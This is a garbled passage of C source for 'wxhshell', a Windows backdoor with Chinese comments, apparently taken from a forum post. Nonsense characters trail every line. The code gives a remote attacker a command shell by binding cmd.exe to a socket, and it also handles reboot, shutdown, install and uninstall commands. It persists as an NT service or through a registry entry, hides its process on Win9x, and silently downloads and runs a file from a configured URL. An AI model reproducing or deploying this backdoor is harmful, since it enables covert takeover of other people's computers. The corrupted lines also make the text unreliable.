  // 帮助 O\3r%=TF  
  case '?': { LR hP7D+A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }rFThI  
    break; w/hh 4ir  
  } A>H*`{}  
  // 安装 $>nkGb%Kp  
  case 'i': { S.qk%NTTD  
    if(Install()) t*eleNYeS~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U.d'a~pH  
    else UUZ6N ZQI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e=0l<Rj  
    break; :v|r=#OI  
    } C#ZmgR  
  // 卸载 $:xF)E  
  case 'r': { u XaL  
    if(Uninstall()) 3- 4Nad  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W dei`u[  
    else iH($rSE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K]*g, s+  
    break; rE!G,^_{  
    } Y'3k E  
  // 显示 wxhshell 所在路径 C]aOgt/U  
  case 'p': { ru#T^AI*^  
    char svExeFile[MAX_PATH]; Z $ p^v*y  
    strcpy(svExeFile,"\n\r"); )6PJ*;p-  
      strcat(svExeFile,ExeFile); ,?P8m"  
        send(wsh,svExeFile,strlen(svExeFile),0); Lw!?T(SK  
    break; K<Yn_G  
    } mrhsKmH  
  // 重启 \=HfO?$ Ro  
  case 'b': { @1/Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $71i+h]_  
    if(Boot(REBOOT)) zpBBnlq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !"Z."fm*  
    else { MoC*tImWR  
    closesocket(wsh); IwZZewb-a  
    ExitThread(0); qz-#LZFTR  
    } Ak<IHp^Q  
    break; :u[ oc.  
    } H>gWxJ 5  
  // 关机 O('i*o4!}  
  case 'd': { d=Rk\F'^J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vE^h}~5U  
    if(Boot(SHUTDOWN)) +&&MUT{ 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~YR <SV\{  
    else { >w%d'e$  
    closesocket(wsh); ph}wnIW]  
    ExitThread(0); SSSDl$}'t  
    } l}U~I 3}).  
    break; [)C)p*!Y)  
    } c,b`N0dOKL  
  // 获取shell c ,g]0S?gu  
  case 's': { ,3fuX~g  
    CmdShell(wsh); UKt/0Ze  
    closesocket(wsh); F^/~@^{P  
    ExitThread(0); 1t~S3Q||>]  
    break; n.;5P {V1  
  } =woqHTR  
  // 退出 ;] l{D}  
  case 'x': { eG[umv.9b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ' 91u q  
    CloseIt(wsh); FJ3:}r6 "  
    break; %XDip]+rb  
    } A>&>6O4  
  // 离开 Bd N{[2  
  case 'q': { sWojQ-8}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Wo1V$[`Dy  
    closesocket(wsh); F3H:I"4  
    WSACleanup(); _oMs `"4K  
    exit(1); 5JXzfc9rL  
    break; '&_y*"/c  
        } Up1$xLSl  
  } 5 b#" G"  
  } mcP{-oJ0W  
=/!{<^0  
  // 提示信息  \\E_W9.u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8CN7+V  
} V29S*  
  } eNlF2M  
q7)]cY_  
  return; h0Sy'] 3m  
} F$sF 'cw  
I;kUG_c(4  
// shell模块句柄 vV&AG1_Mv  
int CmdShell(SOCKET sock) h[[/p {z  
{ h~=\/vF  
STARTUPINFO si; x]mye  
ZeroMemory(&si,sizeof(si));  q~:'R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mBD!:V'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mPw56>  
PROCESS_INFORMATION ProcessInfo; 6qHvq A,  
char cmdline[]="cmd"; "0!eb3n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |({UV-`  
  return 0; b;~EJ  
} 9$4/frd  
qMW%$L\HA  
// 自身启动模式 h Vt+%tmNy  
int StartFromService(void) .SKNIct M  
{ -G^t-I  
typedef struct L(!!7B_,  
{ NdXy% Q  
  DWORD ExitStatus; j4 &  
  DWORD PebBaseAddress; c}I8!*\  
  DWORD AffinityMask; Wj f>:\ w  
  DWORD BasePriority; 4Q`=t &u  
  ULONG UniqueProcessId; V.P5v {  
  ULONG InheritedFromUniqueProcessId; R>YMGUH~w  
}   PROCESS_BASIC_INFORMATION; f@xfb ie !  
JK^B+.  
PROCNTQSIP NtQueryInformationProcess; Y/eN)  
)2<B$p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]%Q]C 8[C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 71n uTE%!  
w7*b}D@65\  
  HANDLE             hProcess; BF1O|Q|d6  
  PROCESS_BASIC_INFORMATION pbi; ,$zSJzS  
#G4~]Qml  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Fh!!T%5>C  
  if(NULL == hInst ) return 0; \aJ-q?=  
bTy' 5"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3Mh,NQB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /PB3^d>Q2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 61Iy{-/ZV  
gQ@Pw4bA  
  if (!NtQueryInformationProcess) return 0; 65`'Upu  
.KwuhmR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a@a1TpLQ  
  if(!hProcess) return 0; %\z COfN  
{p lmFV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q\/":ISq1  
+<9q]V  
  CloseHandle(hProcess); $=QGua V  
lj SR?:\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uI:3$  
if(hProcess==NULL) return 0; @)juP- o%  
2Ws/0c  
HMODULE hMod; dc@wf;o  
char procName[255]; s2' :&5(  
unsigned long cbNeeded; 4f@\f7 \  
|uBot#K|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O^="T^J  
 KHs{/  
  CloseHandle(hProcess); Mbi+Vv-  
 ~bWWu`h  
if(strstr(procName,"services")) return 1; // 以服务启动 z1@sEfk>  
JjTzq2'%  
  return 0; // 注册表启动 DRg ~HT  
} Tdmo'"m8z_  
}AH|~3|D  
// 主模块 r|H!s,  
int StartWxhshell(LPSTR lpCmdLine) 3TvhOC>yG  
{ Fi3(glgd-  
  SOCKET wsl; [ sO<6?LY  
BOOL val=TRUE; VL!kX``^F  
  int port=0;  rgvc5p  
  struct sockaddr_in door; t;f p<z7N.  
WSB|-Qj}W  
  if(wscfg.ws_autoins) Install(); o)' =D(  
ALt";8Oa  
port=atoi(lpCmdLine); !CMVZf;u  
.2SIU4[P  
if(port<=0) port=wscfg.ws_port; XJ1nhE  
[j+0EVwB  
  WSADATA data; +so o2cb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @LMV?  
!=Vh2UbC3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9(evHR7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VA r?teY  
  door.sin_family = AF_INET; uKAHJ$%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _G8y9!J  
  door.sin_port = htons(port); WxP4{T* <  
$6?KH7lA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m4.V$U,H]  
closesocket(wsl); /s0VyUV=  
return 1; 89e.\EH  
} ?(L? X&)v  
Dlsa(  
  if(listen(wsl,2) == INVALID_SOCKET) { e$+? v2.  
closesocket(wsl); $bC!T  
return 1; *oJ>4S  
} $MEbePxe  
  Wxhshell(wsl); {]m e?I  
  WSACleanup(); -a^sX%|Bl  
ez9M]! 8Lt  
return 0; fq!6#Usf;i  
CvSG!l.6f<  
} RKZk/ly  
gR6T]v  
// 以NT服务方式启动 yaGVY*M0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J0)WRn"h  
{ S gsR;)2  
DWORD   status = 0; =,;3z/k%  
  DWORD   specificError = 0xfffffff; `2~Ea_Z  
\Nn%*?f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xF>w r r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w`Aw+[24  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w8@|b}  
  serviceStatus.dwWin32ExitCode     = 0; tZ2iSc  
  serviceStatus.dwServiceSpecificExitCode = 0; 30v1VLR_)  
  serviceStatus.dwCheckPoint       = 0; b,V=B{(~  
  serviceStatus.dwWaitHint       = 0; oDDH;Q"M(  
wDTV /"Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g wiC ,  
  if (hServiceStatusHandle==0) return; U`4Z j1y  
%+JTQy  
status = GetLastError(); EHM 7=|#  
  if (status!=NO_ERROR) 2Rp{]s$jo  
{ M@86u^80  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yBjWPx?  
    serviceStatus.dwCheckPoint       = 0; ]OUOL/J  
    serviceStatus.dwWaitHint       = 0; 0#nXxkw  
    serviceStatus.dwWin32ExitCode     = status; I8>1RXz  
    serviceStatus.dwServiceSpecificExitCode = specificError; `\uv+^x{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pKlT.<X7  
    return; S|h  m  
  } Gjh7cm>  
`^h##WaXap  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @G{DOxE*  
  serviceStatus.dwCheckPoint       = 0; |#kf.kN  
  serviceStatus.dwWaitHint       = 0; gV>\lMc[-%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~Q\ZDMTK  
} IY6S\Gn  
P9!]<so  
// 处理NT服务事件,比如:启动、停止 }Q(I&uz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4f~ZY]|nM  
{ )_ u'k /  
switch(fdwControl) VDN]P3   
{ ^0~1/ PhOw  
case SERVICE_CONTROL_STOP: a2FIFWvW  
  serviceStatus.dwWin32ExitCode = 0; 5gEWLLDp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8jx1W9=`9[  
  serviceStatus.dwCheckPoint   = 0; 6Izv&  
  serviceStatus.dwWaitHint     = 0; PKG ,4v=  
  { @Ec9Do>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P &._ -[  
  } wd0ACF  
  return; WSwmX3rn  
case SERVICE_CONTROL_PAUSE: Vjd =F.V+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c?Qg :yU  
  break; KO"iauW  
case SERVICE_CONTROL_CONTINUE: ) O^08]Y g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o~>go_Y  
  break; \F3t&:  
case SERVICE_CONTROL_INTERROGATE: k3kqgR*  
  break; aE$p;I  
}; $ wB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6&T1 ZY`  
} Q;M\P/f  
e.H"!X!0#H  
// 标准应用程序主函数 C5 !n {  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R>q'Ymu~  
{ J[AgOUc  
0:8'Ov(  
// 获取操作系统版本 FX 3[U+  
OsIsNt=GetOsVer(); %syBm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K; lC#  
m %3Kq%?O  
  // 从命令行安装 6w ,xb&S  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z&!$G'X  
v836nxLM  
  // 下载执行文件 ?g.w%Mf*  
if(wscfg.ws_downexe) { giq`L1<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2kve?/  
  WinExec(wscfg.ws_filenam,SW_HIDE); _m-r}9au   
} jT0fF  
D1k]  
if(!OsIsNt) { XrF9*>ti?  
// 如果时win9x,隐藏进程并且设置为注册表启动 \/Y<.#?_  
HideProc(); ,{at?y*  
StartWxhshell(lpCmdLine); Kwnu|8  
} ;0E 4S  
else p,fin?nW c  
  if(StartFromService()) =;T[2:JUu  
  // 以服务方式启动 J-c7ZcTt  
  StartServiceCtrlDispatcher(DispatchTable); V5 w^Le_^  
else W&#Nk5d  
  // 普通方式启动 G7?EaLsfQ  
  StartWxhshell(lpCmdLine); N h%8;  
v~3q4P  
return 0; }J`Gm  
}
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只看该作者 1 发表于: 2006-10-10
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